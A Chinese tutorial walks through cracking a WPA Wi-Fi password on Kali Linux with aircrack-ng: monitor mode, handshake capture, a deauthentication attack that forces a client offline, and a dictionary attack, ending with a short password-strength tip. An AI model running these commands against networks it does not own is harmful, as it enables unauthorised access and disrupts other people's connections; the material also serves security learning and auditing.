Kali Linux——aircrack-ng无线教程

目录

一、准备

二、案例

1、连接usb无线网卡

2、查看网卡信息

3、开启网卡监听

4、扫描wifi信号

5、抓取握手包

?6、强制断开连接

7、破解握手包

三、预防?

---

一、准备

1、usb无线网卡（笔记本也是需要用到）

2、密码字典（Kali 系统自带字典目录wordlists。/usr/share/wordlists）

二、案例

1、连接usb无线网卡

把usb无线网卡插入，并连接至Kali虚拟机。

2、查看网卡信息

【操作命令】

airmon-ng

【操作实例】

#说明：wlan0是网卡，后面要使用到

3、开启网卡监听

【操作命令】

airmon-ng start wlan0

【操作实例】

?

#说明：wlan0是网卡，根据1中查看到的结果自行修改?

4、扫描wifi信号

【操作命令】

airodump-ng wlan0

【操作实例】

#说明：空格可以暂停。

ESSID：WiFi名称。

CH：信道。

BSSID：路由器mac地址。?

5、抓取握手包

【操作命令】

airodump-ng -w kalitest -c 1 --bssid 08:10:7C:4A:27:01 wlan0

?#说明：以4中扫描出的glovet为例。

-c：指定信道，4中glovet对应的CH。

-w：指定抓取握手包存放名称（kalitest），存放在当前操作目录下。可使用pwd命令查看当前目录。

--bssid：指定路由器mac地址，4中glovet对应的bssid。

【操作实例】

#说明：

BSSID：路由器mac地址

STATION：连接路由器的终端mac地址。

?6、强制断开连接

#注意：需要重新打开一个终端执行命令。

5中扫描无结果，无法操作。

【操作命令】

aireplay-ng -0 2 -a 08:10:7C:4A:27:01 -c A0:82:22:49:AE:99 wla0

【操作实例】

#说明：-0：指定发送反认证包个数。

-a：指定路由器mac地址。5中扫描结果中的BSSID。

-c：指定客户端mac地址。5中扫描结果中的STATION。

wlan0：网卡名称。

7、破解握手包

【操作命令】

aircrack-ng -w pass.txt kalitest-*.cap

#说明：-w：指定密码字典

kalitest-*.cap：*号统配所有cap文件。kalitest对应5中-w对应名称。

【操作实例】

#说明：Current passphrase：就是当前正在尝试破解的密码。我测试时，破解速度是1秒2000左右个密码。

破解依赖于字典，说白了就是通过字典一个一个去试密码，试对了就破解了，字典中没有对应密码就不能破解。字典越大，破解的可能性越高，尝试完成花费时间越长。

获取更多的信息有助于破解，比如具体几位数密码，密码组成（数字、字母等）。

三、预防?

?对于这种暴力破解的预防，简单点就是密码设置相对复杂。

例如可以设置12位以上，涵盖大写字母、小写字母、数字、符号的混合密码，且不要使用英文单词或有规律的词组。

这种密码不是不能破解，而是需要的时间很长，没有这个价值，别人不会去破解。一般性能的电脑去破解这种程度的密码几乎不太可能，除非运气好。